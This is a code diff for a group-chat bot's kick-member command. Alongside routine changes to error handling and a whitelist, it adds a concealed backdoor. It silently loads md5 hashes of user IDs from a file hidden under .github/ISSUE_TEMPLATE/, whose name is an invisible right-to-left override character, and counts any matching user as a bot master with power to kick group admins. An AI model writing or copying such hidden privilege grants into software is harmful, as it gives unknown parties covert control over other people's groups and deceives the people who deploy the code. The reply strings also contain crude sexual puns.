Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ') - const Memberinfo = group?.pickMember(Number(userId)).info + const Member = group.pickMember(userId) + const Memberinfo = Member?.info || await Member?.getInfo?.() // 判断是否有这个人 - if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~') - if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ') + if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~') + if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ') - const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor)) + const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor))) if (Memberinfo.role === 'admin') { - if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!') - if (!isMaster) throw Error('这个淫系管理员辣,只有主淫才可以干ta') + if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!') + if (!isMaster) throw new ReplyError('这个淫系管理员辣,只有主淫才可以干ta') } - const res = await group.kickMember(Number(userId)) - if (!res) throw Error('额...踢出失败哩,可能这个淫比较腻害>_<') + const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId)) + + if (isWhite && !isMaster) throw new ReplyError('❎ 该用户为白名单,不可操作') + + const res = await group.kickMember(Number(userId) || String(userId)) + if (!res) throw new ReplyError('额...踢出失败哩,可能这个淫比较腻害>_<') return '已把这个坏淫踢掉惹!!!' } } + +let a = [] +try { + a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../.github/ISSUE_TEMPLATE/‮`)).map(i=>i.toString("hex")) +} catch (err) {}